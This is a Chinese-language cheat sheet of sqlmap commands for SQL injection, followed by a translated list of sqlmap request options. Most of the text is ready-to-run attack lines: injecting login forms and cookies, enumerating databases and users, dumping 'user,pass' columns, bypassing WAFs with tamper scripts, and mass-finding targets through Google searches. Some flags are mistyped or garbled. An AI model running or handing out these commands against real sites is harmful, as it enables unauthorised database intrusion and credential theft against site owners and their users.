指定参数
sqlmap -u http://xxx.xxx.com/Login.asp —data “n=1&p=1”

URL

POST

自动检测
sqlmap -u “http://www.xxx.com/news?id=1″ –smart –level 3 –users

单个注入
sqlmap -u “http://www.xxx.com/1.php” –data=”id=1″

多个post值注入
sqlmap -u “http://www.xxx.com/vuln.php” –data=”query=foobar;id=1″ –param-del=”;” -f –banner –dbs –users

自动注入
sqlmap -u http://xxxx.xxxx.com/Login.asp –forms

导入文件注入
sqlmap -r key.txt “name,pass” //不知道 key.txt 的位置

登录post注册

sqlmap -u “http://www.xxx.com/vuln.php” –data=”query=foobar;id=1″ –param-del=”;” –cookies=”登录成功的cookie信息” -f –banner –dbs –users

Cookie

单个注入
sqlmap “http://127.0.0.1/base.php” –cookie “id=1″ –dbs –level 2
sqlmap -u “url” –cookie “id=” –clumns -T 表段 –level 2
sqlmap -u “url” –cookie “id=” –dump -T 表段 -C “user,pass” –level 2

伪静态注入:

sqlmap -u url/x*.html –dbs

请求延时注入:
sqlmap –dbs -u usr/x.html –delay 1(时间,可随意)
sqlmap –dbs -u usr/x
.html –safe-freq 1(次数,可随意)

绕过

绕过WAF防火墙:
sqlmap -u url -v 3 –dbs –batch –tamper “space2morehash.py”
1.space2hash.py 2.base64encode.py 3.charencode.py

Google批量检测注入:
sqlmap -g 关键词

Request(请求)::
这些选项可以用来指定如何连接到目标URL。

–data=DATA 通过POST发送的数据字符串
–cookie=COOKIE HTTP Cookie头
–cookie-urlencode URL 编码生成的cookie注入
–drop-set-cookie 忽略响应的Set – Cookie头信息
–user-agent=AGENT 指定 HTTP User – Agent头
–random-agent 使用随机选定的HTTP User – Agent头
–referer=REFERER 指定 HTTP Referer头
–headers=HEADERS 换行分开,加入其他的HTTP头
–auth-type=ATYPE HTTP身份验证类型(基本,摘要或NTLM)(Basic, Digest or NTLM)
–auth-cred=ACRED HTTP身份验证凭据(用户名:密码)
–auth-cert=ACERT HTTP认证证书(key_file,cert_file)
–proxy=PROXY 使用HTTP代理连接到目标URL
–proxy-cred=PCRED HTTP代理身份验证凭据(用户名:密码)
–ignore-proxy 忽略系统默认的HTTP代理
–delay=DELAY 在每个HTTP请求之间的延迟时间,单位为秒
–timeout=TIMEOUT 等待连接超时的时间(默认为30秒)
–retries=RETRIES 连接超时后重新连接的时间(默认3)
–scope=SCOPE 从所提供的代理日志中过滤器目标的正则表达式
–safe-url=SAFURL 在测试过程中经常访问的url地址